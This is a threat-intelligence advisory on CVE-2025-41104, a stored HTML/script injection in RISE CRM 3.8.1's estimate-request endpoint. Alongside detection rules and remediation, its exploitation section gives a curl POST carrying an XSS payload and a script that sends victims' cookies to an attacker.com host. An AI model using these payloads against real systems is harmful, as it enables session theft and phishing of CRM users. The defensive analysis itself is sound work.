CVE-2025-41104

Executive Summary

CVE-2025-41104 is an HTML injection vulnerability discovered in Fairsketch's RISE CRM Framework version 3.8.1. The flaw resides in the /estimate_requests/save_estimate_request endpoint, where the custom_field_1 parameter is insufficiently validated. An unauthenticated attacker can inject arbitrary HTML code via a POST request, leading to potential phishing, defacement, or session theft when a victim views the injected content. The vulnerability is classified as a stored HTML injection (CWE-79) with a CVSS v3.1 base score of 6.1 (Medium). No official patch has been released, and no public exploit code exists, but the attack vector is straightforward and requires no authentication.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP-based CRM application. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must view the injected page
• Scope: Changed (S:C) – injection affects other components
• Confidentiality Impact: Low (C:L) – potential data leakage via script execution
• Integrity Impact: Low (I:L) – content modification possible
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. It can be used for social engineering attacks, credential harvesting, or defacement.

Deep Dive & Mechanics

The vulnerability exists in the save_estimate_request function of the RISE CRM application. The custom_field_1 parameter is accepted from a POST request and stored in the database without proper sanitization or encoding. When the estimate request is later viewed by an administrator or other user, the injected HTML is rendered in the browser.

Root Cause: Lack of input validation and output encoding. The application does not use functions like htmlspecialchars() or strip_tags() on the custom_field_1 value before storing or displaying it.

Attack Flow:

1. Attacker sends a POST request to /estimate_requests/save_estimate_request with custom_field_1 containing malicious HTML, e.g., <script>alert('XSS')</script>.
2. The server stores the payload in the database.
3. When a victim (e.g., admin) views the estimate request, the payload executes in their browser.

Impact: An attacker can inject arbitrary HTML/JavaScript, leading to:

• Session cookie theft
• Phishing popups
• Defacement of the CRM interface
• Redirection to malicious sites

Vulnerable vs. Patched Code

Vulnerable Code (RISE CRM v3.8.1):

// In save_estimate_request.php (hypothetical)
$custom_field_1 = $_POST['custom_field_1'];
$sql = "INSERT INTO estimate_requests (custom_field_1) VALUES ('$custom_field_1')";
mysqli_query($conn, $sql);

Patched Code (Recommended):

$custom_field_1 = htmlspecialchars($_POST['custom_field_1'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO estimate_requests (custom_field_1) VALUES (?)";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "s", $custom_field_1);
mysqli_stmt_execute($stmt);

The patched version uses prepared statements and output encoding to prevent HTML injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running RISE CRM v3.8.1
• Network access to the /estimate_requests/save_estimate_request endpoint

Exploit Steps:

1. Craft a POST request with malicious HTML in custom_field_1.
2. Use a tool like curl or Burp Suite.

Example curl command:

curl -X POST http://target.com/estimate_requests/save_estimate_request \
  -d "custom_field_1=<script>alert('XSS')</script>"

Advanced Payload (Session Theft):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Note: No public exploit code exists; this is a manual exploitation scenario.

Blue Team (Detection & Hardening)

Detection:

• Monitor POST requests to /estimate_requests/save_estimate_request for suspicious custom_field_1 values containing <script>, <iframe>, or onerror attributes.
• Use WAF rules to block HTML tags in form fields.

Hardening:

• Apply input validation: allow only alphanumeric characters and safe punctuation.
• Use output encoding: htmlspecialchars() when displaying user input.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /estimate_requests/save_estimate_request with custom_field_1 containing HTML tags.
  • Outbound connections to attacker-controlled domains from the CRM server.
• File IOCs:
  • Log entries showing custom_field_1 with <script> or <iframe> tags.
• Behavioral IOCs:
  • Unexpected popups or redirects when viewing estimate requests.
  • Unauthorized changes to CRM content.

Detection Engineering

YARA Rule

rule CVE_2025_41104_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts in POST requests to RISE CRM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-41104"
    strings:
        $html_tag = /<[a-z][\s\S]*>/i
        $endpoint = "/estimate_requests/save_estimate_request"
    condition:
        $endpoint and $html_tag
}

Sigma Rule

title: CVE-2025-41104 HTML Injection in RISE CRM
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests with HTML injection payloads in custom_field_1 parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/estimate_requests/save_estimate_request'
        cs-params: 'custom_field_1=*<*>*'
    condition: selection
falsepositives:
    - Legitimate use of HTML in custom fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-41104 HTML Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/estimate_requests/save_estimate_request"; http_uri; content:"custom_field_1"; http_client_body; pcre:"/<[a-z][\s\S]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint temporarily if possible: Block POST requests to /estimate_requests/save_estimate_request via WAF or .htaccess.
2. Apply input validation: Restrict custom_field_1 to alphanumeric characters only.
3. Implement output encoding: Use htmlspecialchars() in all views that display user input.

Long-term Fix:

• Upgrade to a patched version when available.
• Conduct a full security audit of all user input handling.
• Implement Content Security Policy (CSP) headers.

Workaround:

• Use a Web Application Firewall (WAF) to block HTML tags in POST parameters.

Valters IT – DevSecOps & Cyber Threat Intelligence Report